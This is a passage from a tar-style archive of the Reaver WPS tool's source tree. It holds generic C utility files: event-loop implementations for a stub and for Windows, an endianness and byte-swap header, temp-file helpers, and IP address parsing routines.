GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "eloop.h" struct eloop_sock { int sock; void *eloop_data; void *user_data; void (*handler)(int sock, void *eloop_ctx, void *sock_ctx); }; struct eloop_timeout { struct os_time time; void *eloop_data; void *user_data; void (*handler)(void *eloop_ctx, void *sock_ctx); struct eloop_timeout *next; }; struct eloop_signal { int sig; void *user_data; void (*handler)(int sig, void *eloop_ctx, void *signal_ctx); int signaled; }; struct eloop_data { int max_sock, reader_count; struct eloop_sock *readers; struct eloop_timeout *timeout; int signal_count; struct eloop_signal *signals; int signaled; int pending_terminate; int terminate; int reader_table_changed; }; static struct eloop_data eloop; int eloop_init(void) { memset(&eloop, 0, sizeof(eloop)); return 0; } int eloop_register_read_sock(int sock, void (*handler)(int sock, void *eloop_ctx, void *sock_ctx), void *eloop_data, void *user_data) { struct eloop_sock *tmp; tmp = (struct eloop_sock *) realloc(eloop.readers, (eloop.reader_count + 1) * sizeof(struct eloop_sock)); if (tmp == NULL) return -1; tmp[eloop.reader_count].sock = sock; tmp[eloop.reader_count].eloop_data = eloop_data; tmp[eloop.reader_count].user_data = user_data; tmp[eloop.reader_count].handler = handler; eloop.reader_count++; eloop.readers = tmp; if (sock > eloop.max_sock) eloop.max_sock = sock; eloop.reader_table_changed = 1; return 0; } void eloop_unregister_read_sock(int sock) { int i; if (eloop.readers == NULL || eloop.reader_count == 0) return; for (i = 0; i < eloop.reader_count; i++) { if (eloop.readers[i].sock == sock) break; } if (i == eloop.reader_count) return; if (i != eloop.reader_count - 1) { memmove(&eloop.readers[i], &eloop.readers[i + 1], (eloop.reader_count - i - 1) * sizeof(struct eloop_sock)); } eloop.reader_count--; eloop.reader_table_changed = 1; } int eloop_register_timeout(unsigned int secs, unsigned int usecs, void (*handler)(void *eloop_ctx, void *timeout_ctx), void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *tmp, *prev; timeout = (struct eloop_timeout *) malloc(sizeof(*timeout)); if (timeout == NULL) return -1; os_get_time(&timeout->time); timeout->time.sec += secs; timeout->time.usec += usecs; while (timeout->time.usec >= 1000000) { timeout->time.sec++; timeout->time.usec -= 1000000; } timeout->eloop_data = eloop_data; timeout->user_data = user_data; timeout->handler = handler; timeout->next = NULL; if (eloop.timeout == NULL) { eloop.timeout = timeout; return 0; } prev = NULL; tmp = eloop.timeout; while (tmp != NULL) { if (os_time_before(&timeout->time, &tmp->time)) break; prev = tmp; tmp = tmp->next; } if (prev == NULL) { timeout->next = eloop.timeout; eloop.timeout = timeout; } else { timeout->next = prev->next; prev->next = timeout; } return 0; } int eloop_cancel_timeout(void (*handler)(void *eloop_ctx, void *sock_ctx), void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *prev, *next; int removed = 0; prev = NULL; timeout = eloop.timeout; while (timeout != NULL) { next = timeout->next; if (timeout->handler == handler && (timeout->eloop_data == eloop_data || eloop_data == ELOOP_ALL_CTX) && (timeout->user_data == user_data || user_data == ELOOP_ALL_CTX)) { if (prev == NULL) eloop.timeout = next; else prev->next = next; free(timeout); removed++; } else prev = timeout; timeout = next; } return removed; } int eloop_is_timeout_registered(void (*handler)(void *eloop_ctx, void *timeout_ctx), void *eloop_data, void *user_data) { struct eloop_timeout *tmp; tmp = eloop.timeout; while (tmp != NULL) { if (tmp->handler == handler && tmp->eloop_data == eloop_data && tmp->user_data == user_data) return 1; tmp = tmp->next; } return 0; } /* TODO: replace with suitable signal handler */ #if 0 static void eloop_handle_signal(int sig) { int i; eloop.signaled++; for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].sig == sig) { eloop.signals[i].signaled++; break; } } } #endif static void eloop_process_pending_signals(void) { int i; if (eloop.signaled == 0) return; eloop.signaled = 0; if (eloop.pending_terminate) { eloop.pending_terminate = 0; } for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].signaled) { eloop.signals[i].signaled = 0; eloop.signals[i].handler(eloop.signals[i].sig, eloop.user_data, eloop.signals[i].user_data); } } } int eloop_register_signal(int sig, void (*handler)(int sig, void *eloop_ctx, void *signal_ctx), void *user_data) { struct eloop_signal *tmp; tmp = (struct eloop_signal *) realloc(eloop.signals, (eloop.signal_count + 1) * sizeof(struct eloop_signal)); if (tmp == NULL) return -1; tmp[eloop.signal_count].sig = sig; tmp[eloop.signal_count].user_data = user_data; tmp[eloop.signal_count].handler = handler; tmp[eloop.signal_count].signaled = 0; eloop.signal_count++; eloop.signals = tmp; /* TODO: register signal handler */ return 0; } int eloop_register_signal_terminate(void (*handler)(int sig, void *eloop_ctx, void *signal_ctx), void *user_data) { #if 0 /* TODO: for example */ int ret = eloop_register_signal(SIGINT, handler, user_data); if (ret == 0) ret = eloop_register_signal(SIGTERM, handler, user_data); return ret; #endif return 0; } int eloop_register_signal_reconfig(void (*handler)(int sig, void *eloop_ctx, void *signal_ctx), void *user_data) { #if 0 /* TODO: for example */ return eloop_register_signal(SIGHUP, handler, user_data); #endif return 0; } void eloop_run(void) { int i; struct os_time tv, now; while (!eloop.terminate && (eloop.timeout || eloop.reader_count > 0)) { if (eloop.timeout) { os_get_time(&now); if (os_time_before(&now, &eloop.timeout->time)) os_time_sub(&eloop.timeout->time, &now, &tv); else tv.sec = tv.usec = 0; } /* * TODO: wait for any event (read socket ready, timeout (tv), * signal */ os_sleep(1, 0); /* just a dummy wait for testing */ eloop_process_pending_signals(); /* check if some registered timeouts have occurred */ if (eloop.timeout) { struct eloop_timeout *tmp; os_get_time(&now); if (!os_time_before(&now, &eloop.timeout->time)) { tmp = eloop.timeout; eloop.timeout = eloop.timeout->next; tmp->handler(tmp->eloop_data, tmp->user_data); free(tmp); } } eloop.reader_table_changed = 0; for (i = 0; i < eloop.reader_count; i++) { /* * TODO: call each handler that has pending data to * read */ if (0 /* TODO: eloop.readers[i].sock ready */) { eloop.readers[i].handler( eloop.readers[i].sock, eloop.readers[i].eloop_data, eloop.readers[i].user_data); if (eloop.reader_table_changed) break; } } } } void eloop_terminate(void) { eloop.terminate = 1; } void eloop_destroy(void) { struct eloop_timeout *timeout, *prev; timeout = eloop.timeout; while (timeout != NULL) { prev = timeout; timeout = timeout->next; free(prev); } free(eloop.readers); free(eloop.signals); } int eloop_terminated(void) { return eloop.terminate; } void eloop_wait_for_read_sock(int sock) { /* * TODO: wait for the file descriptor to have something available for * reading */ } reaver-wps-fork-t6x-1.6.6/src/utils/eloop_win.c000077500000000000000000000306201363372615500214020ustar00rootroot00000000000000/* * Event loop based on Windows events and WaitForMultipleObjects * Copyright (c) 2002-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "eloop.h" struct eloop_sock { int sock; void *eloop_data; void *user_data; eloop_sock_handler handler; WSAEVENT event; }; struct eloop_event { void *eloop_data; void *user_data; eloop_event_handler handler; HANDLE event; }; struct eloop_timeout { struct os_time time; void *eloop_data; void *user_data; eloop_timeout_handler handler; struct eloop_timeout *next; }; struct eloop_signal { int sig; void *user_data; eloop_signal_handler handler; int signaled; }; struct eloop_data { int max_sock; size_t reader_count; struct eloop_sock *readers; size_t event_count; struct eloop_event *events; struct eloop_timeout *timeout; int signal_count; struct eloop_signal *signals; int signaled; int pending_terminate; int terminate; int reader_table_changed; struct eloop_signal term_signal; HANDLE term_event; HANDLE *handles; size_t num_handles; }; static struct eloop_data eloop; int eloop_init(void) { os_memset(&eloop, 0, sizeof(eloop)); eloop.num_handles = 1; eloop.handles = os_malloc(eloop.num_handles * sizeof(eloop.handles[0])); if (eloop.handles == NULL) return -1; eloop.term_event = CreateEvent(NULL, FALSE, FALSE, NULL); if (eloop.term_event == NULL) { printf("CreateEvent() failed: %d\n", (int) GetLastError()); os_free(eloop.handles); return -1; } return 0; } static int eloop_prepare_handles(void) { HANDLE *n; if (eloop.num_handles > eloop.reader_count + eloop.event_count + 8) return 0; n = os_realloc(eloop.handles, eloop.num_handles * 2 * sizeof(eloop.handles[0])); if (n == NULL) return -1; eloop.handles = n; eloop.num_handles *= 2; return 0; } int eloop_register_read_sock(int sock, eloop_sock_handler handler, void *eloop_data, void *user_data) { WSAEVENT event; struct eloop_sock *tmp; if (eloop_prepare_handles()) return -1; event = WSACreateEvent(); if (event == WSA_INVALID_EVENT) { printf("WSACreateEvent() failed: %d\n", WSAGetLastError()); return -1; } if (WSAEventSelect(sock, event, FD_READ)) { printf("WSAEventSelect() failed: %d\n", WSAGetLastError()); WSACloseEvent(event); return -1; } tmp = os_realloc(eloop.readers, (eloop.reader_count + 1) * sizeof(struct eloop_sock)); if (tmp == NULL) { WSAEventSelect(sock, event, 0); WSACloseEvent(event); return -1; } tmp[eloop.reader_count].sock = sock; tmp[eloop.reader_count].eloop_data = eloop_data; tmp[eloop.reader_count].user_data = user_data; tmp[eloop.reader_count].handler = handler; tmp[eloop.reader_count].event = event; eloop.reader_count++; eloop.readers = tmp; if (sock > eloop.max_sock) eloop.max_sock = sock; eloop.reader_table_changed = 1; return 0; } void eloop_unregister_read_sock(int sock) { size_t i; if (eloop.readers == NULL || eloop.reader_count == 0) return; for (i = 0; i < eloop.reader_count; i++) { if (eloop.readers[i].sock == sock) break; } if (i == eloop.reader_count) return; WSAEventSelect(eloop.readers[i].sock, eloop.readers[i].event, 0); WSACloseEvent(eloop.readers[i].event); if (i != eloop.reader_count - 1) { os_memmove(&eloop.readers[i], &eloop.readers[i + 1], (eloop.reader_count - i - 1) * sizeof(struct eloop_sock)); } eloop.reader_count--; eloop.reader_table_changed = 1; } int eloop_register_event(void *event, size_t event_size, eloop_event_handler handler, void *eloop_data, void *user_data) { struct eloop_event *tmp; HANDLE h = event; if (event_size != sizeof(HANDLE) || h == INVALID_HANDLE_VALUE) return -1; if (eloop_prepare_handles()) return -1; tmp = os_realloc(eloop.events, (eloop.event_count + 1) * sizeof(struct eloop_event)); if (tmp == NULL) return -1; tmp[eloop.event_count].eloop_data = eloop_data; tmp[eloop.event_count].user_data = user_data; tmp[eloop.event_count].handler = handler; tmp[eloop.event_count].event = h; eloop.event_count++; eloop.events = tmp; return 0; } void eloop_unregister_event(void *event, size_t event_size) { size_t i; HANDLE h = event; if (eloop.events == NULL || eloop.event_count == 0 || event_size != sizeof(HANDLE)) return; for (i = 0; i < eloop.event_count; i++) { if (eloop.events[i].event == h) break; } if (i == eloop.event_count) return; if (i != eloop.event_count - 1) { os_memmove(&eloop.events[i], &eloop.events[i + 1], (eloop.event_count - i - 1) * sizeof(struct eloop_event)); } eloop.event_count--; } int eloop_register_timeout(unsigned int secs, unsigned int usecs, eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *tmp, *prev; timeout = os_malloc(sizeof(*timeout)); if (timeout == NULL) return -1; os_get_time(&timeout->time); timeout->time.sec += secs; timeout->time.usec += usecs; while (timeout->time.usec >= 1000000) { timeout->time.sec++; timeout->time.usec -= 1000000; } timeout->eloop_data = eloop_data; timeout->user_data = user_data; timeout->handler = handler; timeout->next = NULL; if (eloop.timeout == NULL) { eloop.timeout = timeout; return 0; } prev = NULL; tmp = eloop.timeout; while (tmp != NULL) { if (os_time_before(&timeout->time, &tmp->time)) break; prev = tmp; tmp = tmp->next; } if (prev == NULL) { timeout->next = eloop.timeout; eloop.timeout = timeout; } else { timeout->next = prev->next; prev->next = timeout; } return 0; } int eloop_cancel_timeout(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *prev, *next; int removed = 0; prev = NULL; timeout = eloop.timeout; while (timeout != NULL) { next = timeout->next; if (timeout->handler == handler && (timeout->eloop_data == eloop_data || eloop_data == ELOOP_ALL_CTX) && (timeout->user_data == user_data || user_data == ELOOP_ALL_CTX)) { if (prev == NULL) eloop.timeout = next; else prev->next = next; os_free(timeout); removed++; } else prev = timeout; timeout = next; } return removed; } int eloop_is_timeout_registered(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *tmp; tmp = eloop.timeout; while (tmp != NULL) { if (tmp->handler == handler && tmp->eloop_data == eloop_data && tmp->user_data == user_data) return 1; tmp = tmp->next; } return 0; } /* TODO: replace with suitable signal handler */ #if 0 static void eloop_handle_signal(int sig) { int i; eloop.signaled++; for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].sig == sig) { eloop.signals[i].signaled++; break; } } } #endif static void eloop_process_pending_signals(void) { int i; if (eloop.signaled == 0) return; eloop.signaled = 0; if (eloop.pending_terminate) { eloop.pending_terminate = 0; } for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].signaled) { eloop.signals[i].signaled = 0; eloop.signals[i].handler(eloop.signals[i].sig, eloop.signals[i].user_data); } } if (eloop.term_signal.signaled) { eloop.term_signal.signaled = 0; eloop.term_signal.handler(eloop.term_signal.sig, eloop.term_signal.user_data); } } int eloop_register_signal(int sig, eloop_signal_handler handler, void *user_data) { struct eloop_signal *tmp; tmp = os_realloc(eloop.signals, (eloop.signal_count + 1) * sizeof(struct eloop_signal)); if (tmp == NULL) return -1; tmp[eloop.signal_count].sig = sig; tmp[eloop.signal_count].user_data = user_data; tmp[eloop.signal_count].handler = handler; tmp[eloop.signal_count].signaled = 0; eloop.signal_count++; eloop.signals = tmp; /* TODO: register signal handler */ return 0; } #ifndef _WIN32_WCE static BOOL eloop_handle_console_ctrl(DWORD type) { switch (type) { case CTRL_C_EVENT: case CTRL_BREAK_EVENT: eloop.signaled++; eloop.term_signal.signaled++; SetEvent(eloop.term_event); return TRUE; default: return FALSE; } } #endif /* _WIN32_WCE */ int eloop_register_signal_terminate(eloop_signal_handler handler, void *user_data) { #ifndef _WIN32_WCE if (SetConsoleCtrlHandler((PHANDLER_ROUTINE) eloop_handle_console_ctrl, TRUE) == 0) { printf("SetConsoleCtrlHandler() failed: %d\n", (int) GetLastError()); return -1; } #endif /* _WIN32_WCE */ eloop.term_signal.handler = handler; eloop.term_signal.user_data = user_data; return 0; } int eloop_register_signal_reconfig(eloop_signal_handler handler, void *user_data) { /* TODO */ return 0; } void eloop_run(void) { struct os_time tv, now; DWORD count, ret, timeout, err; size_t i; while (!eloop.terminate && (eloop.timeout || eloop.reader_count > 0 || eloop.event_count > 0)) { tv.sec = tv.usec = 0; if (eloop.timeout) { os_get_time(&now); if (os_time_before(&now, &eloop.timeout->time)) os_time_sub(&eloop.timeout->time, &now, &tv); } count = 0; for (i = 0; i < eloop.event_count; i++) eloop.handles[count++] = eloop.events[i].event; for (i = 0; i < eloop.reader_count; i++) eloop.handles[count++] = eloop.readers[i].event; if (eloop.term_event) eloop.handles[count++] = eloop.term_event; if (eloop.timeout) timeout = tv.sec * 1000 + tv.usec / 1000; else timeout = INFINITE; if (count > MAXIMUM_WAIT_OBJECTS) { printf("WaitForMultipleObjects: Too many events: " "%d > %d (ignoring extra events)\n", (int) count, MAXIMUM_WAIT_OBJECTS); count = MAXIMUM_WAIT_OBJECTS; } #ifdef _WIN32_WCE ret = WaitForMultipleObjects(count, eloop.handles, FALSE, timeout); #else /* _WIN32_WCE */ ret = WaitForMultipleObjectsEx(count, eloop.handles, FALSE, timeout, TRUE); #endif /* _WIN32_WCE */ err = GetLastError(); eloop_process_pending_signals(); /* check if some registered timeouts have occurred */ if (eloop.timeout) { struct eloop_timeout *tmp; os_get_time(&now); if (!os_time_before(&now, &eloop.timeout->time)) { tmp = eloop.timeout; eloop.timeout = eloop.timeout->next; tmp->handler(tmp->eloop_data, tmp->user_data); os_free(tmp); } } if (ret == WAIT_FAILED) { printf("WaitForMultipleObjects(count=%d) failed: %d\n", (int) count, (int) err); os_sleep(1, 0); continue; } #ifndef _WIN32_WCE if (ret == WAIT_IO_COMPLETION) continue; #endif /* _WIN32_WCE */ if (ret == WAIT_TIMEOUT) continue; while (ret >= WAIT_OBJECT_0 && ret < WAIT_OBJECT_0 + eloop.event_count) { eloop.events[ret].handler( eloop.events[ret].eloop_data, eloop.events[ret].user_data); ret = WaitForMultipleObjects(eloop.event_count, eloop.handles, FALSE, 0); } eloop.reader_table_changed = 0; for (i = 0; i < eloop.reader_count; i++) { WSANETWORKEVENTS events; if (WSAEnumNetworkEvents(eloop.readers[i].sock, eloop.readers[i].event, &events) == 0 && (events.lNetworkEvents & FD_READ)) { eloop.readers[i].handler( eloop.readers[i].sock, eloop.readers[i].eloop_data, eloop.readers[i].user_data); if (eloop.reader_table_changed) break; } } } } void eloop_terminate(void) { eloop.terminate = 1; SetEvent(eloop.term_event); } void eloop_destroy(void) { struct eloop_timeout *timeout, *prev; timeout = eloop.timeout; while (timeout != NULL) { prev = timeout; timeout = timeout->next; os_free(prev); } os_free(eloop.readers); os_free(eloop.signals); if (eloop.term_event) CloseHandle(eloop.term_event); os_free(eloop.handles); eloop.handles = NULL; os_free(eloop.events); eloop.events = NULL; } int eloop_terminated(void) { return eloop.terminate; } void eloop_wait_for_read_sock(int sock) { WSAEVENT event; event = WSACreateEvent(); if (event == WSA_INVALID_EVENT) { printf("WSACreateEvent() failed: %d\n", WSAGetLastError()); return; } if (WSAEventSelect(sock, event, FD_READ)) { printf("WSAEventSelect() failed: %d\n", WSAGetLastError()); WSACloseEvent(event); return ; } WaitForSingleObject(event, INFINITE); WSAEventSelect(sock, event, 0); WSACloseEvent(event); } reaver-wps-fork-t6x-1.6.6/src/utils/endianness.h000066400000000000000000000205661363372615500215500ustar00rootroot00000000000000#ifndef ENDIANNESS_H #define ENDIANNESS_H /* Public domain implementation for endianness detection and byte ordering on several platforms. In case the concept of public domain does not exist under your jurisdiction, you can consider it to be dual licensed under the MIT, Apache and WTFPL licenses. Grab it and drop it into your project, include it and use the following macros to determine endianness: ENDIANNESS_LE, ENDIANNESS_BE e.g. #if ENDIANNESS_LE ... or, even nicer without littering your code with #ifdefs: if (ENDIANNESS_BE) { big_endian_code(); } else { little_endian_code(); } ... since the compiler can optimize away unused branches, this makes your code easier to read while not loosing any of the advantage of using conditional compilation, plus you get a free compile-time check of the unused code path (rarely used conditonally compiled code paths often get defunct over time if nobody checks them all the time). To debug this header yourself, you can define ENDIANNESS_DEBUG to see warnings from where we take the defs for the specific target. If you need only the conversion functions from big to little endian and vice versa, you may want to #define ENDIANNESS_PORTABLE_CONVERSION prior to including this header. That way, when the endiannes can't be determined at compile time, the code will fallback to a slower, but portable version of those functions. However, if using it, it's not guaranteed that ENDIANNESS_LE/BE will be defined. Most people however need only the conversion functions in their code, so if you stick to them you can safely turn the portable conversion on. */ /* This should catch all modern GCCs and Clang */ #if (defined __BYTE_ORDER__) && (defined __ORDER_LITTLE_ENDIAN__) # ifdef ENDIANNESS_DEBUG # warning "Taking endiannes from built-in __BYTE_ORDER__" # endif # if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ # define ENDIANNESS_LE 1 # define ENDIANNESS_BE 0 # elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ # define ENDIANNESS_LE 0 # define ENDIANNESS_BE 1 # endif /* Try to derive from arch/compiler-specific macros */ #elif defined(_X86_) || defined(__x86_64__) || defined(__i386__) || \ defined(__i486__) || defined(__i586__) || defined(__i686__) || \ defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) || \ defined(__ARMEL__) || \ (defined(__LITTLE_ENDIAN__) && __LITTLE_ENDIAN__ == 1) || \ (defined(_LITTLE_ENDIAN) && _LITTLE_ENDIAN == 1) || \ defined(_M_IX86) || defined(_M_AMD64) /* MSVC */ # ifdef ENDIANNESS_DEBUG # warning "Detected Little Endian target CPU" # endif # define ENDIANNESS_LE 1 # define ENDIANNESS_BE 0 #elif defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) || \ defined(__MICROBLAZEEB__) || defined(__ARMEB__) || \ (defined(__BIG_ENDIAN__) && __BIG_ENDIAN__ == 1) || \ (defined(_BIG_ENDIAN) && _BIG_ENDIAN == 1) # ifdef ENDIANNESS_DEBUG # warning "Detected Big Endian target CPU" # endif # define ENDIANNESS_LE 0 # define ENDIANNESS_BE 1 /* Try to get it from a header */ #else # if defined(__linux) # ifdef ENDIANNESS_DEBUG # warning "Taking endiannes from endian.h" # endif # include # else # ifdef ENDIANNESS_DEBUG # warning "Taking endiannes from machine/endian.h" # endif # include # endif #endif #ifndef ENDIANNESS_LE # undef ENDIANNESS_BE # if defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) # if __BYTE_ORDER == __LITTLE_ENDIAN # define ENDIANNESS_LE 1 # define ENDIANNESS_BE 0 # elif __BYTE_ORDER == __BIG_ENDIAN # define ENDIANNESS_LE 0 # define ENDIANNESS_BE 1 # endif # elif defined(BYTE_ORDER) && defined(LITTLE_ENDIAN) # if BYTE_ORDER == LITTLE_ENDIAN # define ENDIANNESS_LE 1 # define ENDIANNESS_BE 0 # elif BYTE_ORDER == BIG_ENDIAN # define ENDIANNESS_LE 0 # define ENDIANNESS_BE 1 # endif # endif #endif /* In case the user passed one of -DENDIANNESS_LE or BE in CPPFLAS, set the second one too */ #if defined(ENDIANNESS_LE) && !(defined(ENDIANNESS_BE)) # if ENDIANNESS_LE == 0 # define ENDIANNESS_BE 1 # else # define ENDIANNESS_BE 0 # endif #elif defined(ENDIANNESS_BE) && !(defined(ENDIANNESS_LE)) # if ENDIANNESS_BE == 0 # define ENDIANNESS_LE 1 # else # define ENDIANNESS_LE 0 # endif #endif #if !(defined(ENDIANNESS_LE)) && !(defined(ENDIANNESS_PORTABLE_CONVERSION)) # error "Sorry, we couldn't detect endiannes for your system! Please set -DENDIANNESS_LE=1 or 0 using your CPPFLAGS/CFLAGS and open an issue for your system on https://github.com/rofl0r/endianness.h - Thanks!" #endif #ifdef ENDIANNESS_DEBUG # if ENDIANNESS_LE == 1 # warning "Detected Little Endian target CPU" # endif # if ENDIANNESS_BE == 1 # warning "Detected BIG Endian target CPU" # endif #endif #include #include static __inline uint16_t end_bswap16(uint16_t __x) { return (__x<<8) | (__x>>8); } static __inline uint32_t end_bswap32(uint32_t __x) { return (__x>>24) | (__x>>8&0xff00) | (__x<<8&0xff0000) | (__x<<24); } static __inline uint64_t end_bswap64(uint64_t __x) { return ((end_bswap32(__x)+0ULL)<<32) | (end_bswap32(__x>>32)); } static __inline uint16_t end_net2host16(uint16_t net_number) { uint16_t result = 0; int i; for (i = 0; i < (int)sizeof(result); i++) { result <<= CHAR_BIT; result += (((unsigned char *)&net_number)[i] & UCHAR_MAX); } return result; } static __inline uint16_t end_host2net16(uint16_t native_number) { uint16_t result = 0; int i; for (i = (int)sizeof(result) - 1; i >= 0; i--) { ((unsigned char *)&result)[i] = native_number & UCHAR_MAX; native_number >>= CHAR_BIT; } return result; } static __inline uint32_t end_net2host32(uint32_t net_number) { uint32_t result = 0; int i; for (i = 0; i < (int)sizeof(result); i++) { result <<= CHAR_BIT; result += (((unsigned char *)&net_number)[i] & UCHAR_MAX); } return result; } static __inline uint32_t end_host2net32(uint32_t native_number) { uint32_t result = 0; int i; for (i = (int)sizeof(result) - 1; i >= 0; i--) { ((unsigned char *)&result)[i] = native_number & UCHAR_MAX; native_number >>= CHAR_BIT; } return result; } static __inline uint64_t end_net2host64(uint64_t net_number) { uint64_t result = 0; int i; for (i = 0; i < (int)sizeof(result); i++) { result <<= CHAR_BIT; result += (((unsigned char *)&net_number)[i] & UCHAR_MAX); } return result; } static __inline uint64_t end_host2net64(uint64_t native_number) { uint64_t result = 0; int i; for (i = (int)sizeof(result) - 1; i >= 0; i--) { ((unsigned char *)&result)[i] = native_number & UCHAR_MAX; native_number >>= CHAR_BIT; } return result; } #if ENDIANNESS_LE+0 == 1 # define end_htobe16(x) end_bswap16(x) # define end_be16toh(x) end_bswap16(x) # define end_htobe32(x) end_bswap32(x) # define end_be32toh(x) end_bswap32(x) # define end_htobe64(x) end_bswap64(x) # define end_be64toh(x) end_bswap64(x) # define end_htole16(x) (uint16_t)(x) # define end_le16toh(x) (uint16_t)(x) # define end_htole32(x) (uint32_t)(x) # define end_le32toh(x) (uint32_t)(x) # define end_htole64(x) (uint64_t)(x) # define end_le64toh(x) (uint64_t)(x) #elif ENDIANNESS_BE+0 == 1 # define end_htobe16(x) (uint16_t)(x) # define end_be16toh(x) (uint16_t)(x) # define end_htobe32(x) (uint32_t)(x) # define end_be32toh(x) (uint32_t)(x) # define end_htobe64(x) (uint64_t)(x) # define end_be64toh(x) (uint64_t)(x) # define end_htole16(x) end_bswap16(x) # define end_le16toh(x) end_bswap16(x) # define end_htole32(x) end_bswap32(x) # define end_le32toh(x) end_bswap32(x) # define end_htole64(x) end_bswap64(x) # define end_le64toh(x) end_bswap64(x) #else /* Resort to slower, but neutral code */ # define end_htobe16(x) end_host2net16(x) # define end_be16toh(x) end_net2host16(x) # define end_htobe32(x) end_host2net32(x) # define end_be32toh(x) end_net2host32(x) # define end_htobe64(x) end_host2net64(x) # define end_be64toh(x) end_net2host64(x) # define end_htole16(x) end_bswap_16(end_host2net16(x)) # define end_le16toh(x) end_bswap_16(end_host2net16(x)) # define end_htole32(x) end_bswap_32(end_host2net32(x)) # define end_le32toh(x) end_bswap_32(end_host2net32(x)) # define end_htole64(x) end_bswap_64(end_host2net64(x)) # define end_le64toh(x) end_bswap_64(end_host2net64(x)) #endif #define end_ntoh16(x) end_be16toh(x) #define end_hton16(x) end_htobe16(x) #define end_ntoh32(x) end_be32toh(x) #define end_hton32(x) end_htobe32(x) #define end_ntoh64(x) end_be64toh(x) #define end_hton64(x) end_htobe64(x) #endif reaver-wps-fork-t6x-1.6.6/src/utils/file.c000066400000000000000000000006571363372615500203320ustar00rootroot00000000000000#include #include #include #include char *gettempfilename(void) { char buf[256]; strcpy(buf, "/tmp/reaver-XXXXXX"); char *s; if(!(s = mkdtemp(buf))) return 0; else assert(s == buf); strcat(buf, ".tmp"); return strdup(buf); } void writefile(const char* fn, const char* contents) { FILE *f = fopen(fn, "w"); size_t l = strlen(contents); fwrite(contents, l, 1, f); fclose(f); } reaver-wps-fork-t6x-1.6.6/src/utils/file.h000066400000000000000000000002061363372615500203250ustar00rootroot00000000000000#ifndef UTILS_FILE_H #define UTILS_FILE_H char *gettempfilename(void); void writefile(const char* fn, const char* contents); #endif reaver-wps-fork-t6x-1.6.6/src/utils/includes.h000077500000000000000000000030271363372615500212230ustar00rootroot00000000000000/* * wpa_supplicant/hostapd - Default include files * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This header file is included into all C files so that commonly used header * files can be selected with OS specific ifdef blocks in one place instead of * having to have OS/C library specific selection in many files. */ #ifndef INCLUDES_H #define INCLUDES_H /* Include possible build time configuration before including anything else */ #include "build_config.h" #include #include #include #include #ifndef _WIN32_WCE #ifndef CONFIG_TI_COMPILER #include #include #endif /* CONFIG_TI_COMPILER */ #include #endif /* _WIN32_WCE */ #include #include #ifndef CONFIG_TI_COMPILER #ifndef _MSC_VER #include #endif /* _MSC_VER */ #endif /* CONFIG_TI_COMPILER */ #ifndef CONFIG_NATIVE_WINDOWS #ifndef CONFIG_TI_COMPILER #include #include #include #ifndef __vxworks #ifndef __SYMBIAN32__ #include #endif /* __SYMBIAN32__ */ #include #endif /* __vxworks */ #endif /* CONFIG_TI_COMPILER */ #endif /* CONFIG_NATIVE_WINDOWS */ #endif /* INCLUDES_H */ reaver-wps-fork-t6x-1.6.6/src/utils/ip_addr.c000077500000000000000000000032211363372615500210060ustar00rootroot00000000000000/* * IP address processing * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "ip_addr.h" const char * hostapd_ip_txt(const struct hostapd_ip_addr *addr, char *buf, size_t buflen) { if (buflen == 0 || addr == NULL) return NULL; if (addr->af == AF_INET) { os_strlcpy(buf, inet_ntoa(addr->u.v4), buflen); } else { buf[0] = '\0'; } #ifdef CONFIG_IPV6 if (addr->af == AF_INET6) { if (inet_ntop(AF_INET6, &addr->u.v6, buf, buflen) == NULL) buf[0] = '\0'; } #endif /* CONFIG_IPV6 */ return buf; } int hostapd_ip_diff(struct hostapd_ip_addr *a, struct hostapd_ip_addr *b) { if (a == NULL && b == NULL) return 0; if (a == NULL || b == NULL) return 1; switch (a->af) { case AF_INET: if (a->u.v4.s_addr != b->u.v4.s_addr) return 1; break; #ifdef CONFIG_IPV6 case AF_INET6: if (os_memcmp(&a->u.v6, &b->u.v6, sizeof(a->u.v6)) != 0) return 1; break; #endif /* CONFIG_IPV6 */ } return 0; } int hostapd_parse_ip_addr(const char *txt, struct hostapd_ip_addr *addr) { #ifndef CONFIG_NATIVE_WINDOWS if (inet_aton(txt, &addr->u.v4)) { addr->af = AF_INET; return 0; } #ifdef CONFIG_IPV6 if (inet_pton(AF_INET6, txt, &addr->u.v6) > 0) { addr->af = AF_INET6; return 0; } #endif /* CONFIG_IPV6 */ #endif /* CONFIG_NATIVE_WINDOWS */ return -1; } reaver-wps-fork-t6x-1.6.6/src/utils/ip_addr.h000077500000000000000000000016061363372615500210200ustar00rootroot00000000000000/* * IP address processing * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef IP_ADDR_H #define IP_ADDR_H struct hostapd_ip_addr { int af; /* 